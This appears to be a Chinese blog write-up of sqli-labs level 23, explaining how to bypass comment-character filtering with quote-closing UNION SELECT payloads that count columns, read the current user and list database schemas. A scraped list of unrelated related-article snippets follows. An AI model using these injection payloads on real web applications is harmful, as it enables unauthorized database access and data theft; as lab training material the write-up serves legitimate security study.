第二十三关:

这关还是一个GET型、字符串、单引符号、的有报错的sql注入,输入?id=1'  ,页面会报错

我们继续按照之前的套路来,先输入?id=1' or '1'='1

页面正常显示,说明这个地方又很有可能存在sql注入。继续输入?id=1' or  '1'='1' %23

发现页面居然报错,从报错信息中发现我们的注释符居然没了,说明后台对注释符中做了过滤。

像这种情况,没办法用注释隔断后面的sql语句,就只能用闭合的方法了。但是这里有一点就是,实际测试中,不知道表的行数,而这里又不能使用order by。 因为order by一般在sql语句的尾部,在order by后面再使用'闭合后面的单引号,sql会将order by 忽略掉。

例如我们输入?id=1' order by 300 and '1'='1

程序永远不回出错,也就无法使用oder by进行判断了。这里就只能一点点的尝试了

依次输入

?id=1' union select  '1

?id=1' union select  1 , '1

?id=1' union select  1 , 1 ,'1

发现前来个都会报错,而最后一个不报错,说明当前查询表的列数是三列。

知道是三列后,后面继续输入

?id=-1'  union  select  1,2,'3

可以看到,第2、3两列的数据会显示出来,由于第三列用于闭合后面的单引符号,我们只能将第二列用于查询操作。

输入?id=-1'  union  select  1, user(),'3  查询处当前用户名

输入?id=-1'  union  select  1, (select group_concat(schema_name) from information_schema.schemata),'3

sqli-labs(十)(过滤注释符)的更多相关文章

  1. SQL注入之Sqli-labs系列第二十五关(过滤 OR & AND)和第二十五A关(过滤逻辑运算符注释符)

    开始挑战第二十五关(Trick with OR & AND) 第二十五关A(Trick with comments) 0x1先查看源码 (1)这里的or和and采用了i正则匹配,大小写都无法绕 ...

  2. SQL注入(过滤空格和--+等注释符)

    1.地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符) 思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型 ...

  3. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  4. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  5. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  6. SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索

    以MySQL为例,首先我们知道mysql注释符有#.-- (后面有空格)./**/三种,在SQL注入中经常用到,但是不一定都适用.笔者在sqlilabs通关过程中就遇到不同场景用的注释符不同,这让我很 ...

  7. MySQL注释符

    mysql注释符有三种:1.#...(注释至行末,推荐)2.-- ...(两条短线之后又一个空格)3./*...*/(多行注释) 1.

  8. java基础 (记事本编写hello world,path,classpath,java的注释符)

    一:java的基本信息 jre 是指java运行环境,jdk 是指 java 开发工具集(并且里面是自带有jre运行环境的) jvm是指java的虚拟机 java的源代码的后缀名是 .java (例如 ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. Django:管理站点

    1.自定义管理页面 自定义管理界面需要创建一个类,继承admin.ModelAdmin booktest/admin.py class BookInfoAdmin(admin.ModelAdmin): ...

  2. 关于Java的基础语法整理

  3. PHP之获取终端用户IP

    // function get_real_ip() { $ip=false; $clientip = "clientip"; $xrealip = "xrealip&qu ...

  4. mysql缓存分析流程

  5. [bigdata] palantir

    Palantir的无缝数据融合技术关键在于本体数据模型的灵活性,动态性,而且要能反映人.事.物和环境的关联关系及因果联系,这是大数据技术面临的核心挑战.

  6. [daily][archlinux][pacman] 删除所有孤立包(orphan)

    ‎[:] ‎<‎tong‎>‎ sudo pacman -Rsun `pacman -Qdt |cut -d` ‎[:] ‎<‎tong‎>‎ 我每次都这么删, 有没有高级点的 ...

  7. DBCHART读取X、Y、LABEL值

    1.把MOUSE移到某一条SERIES上时,显示该点的值 procedure Tzl1Form.DBChart1ClickSeries(Sender: TCustomChart;  Series: T ...

  8. C++生成静态库

    //StaticMath.h #include <iostream> class StaticMath { public: //StaticMath(void); //~StaticMat ...

  9. centos 安装ss

    yum install python-setuptools && easy_install pip pip install shadowsocks vi /etc/shadowsock ...

  10. sql server 复制、镜像常见故障处理

    sql server2008数据库复制实现数据同步常见问题 操作使用的一些技巧(事务复制类型): 1.如何修改一个已经发布的表的属性? 将发布所有订阅删除,(发布不用删除),就可以在发布属性的项目中取 ...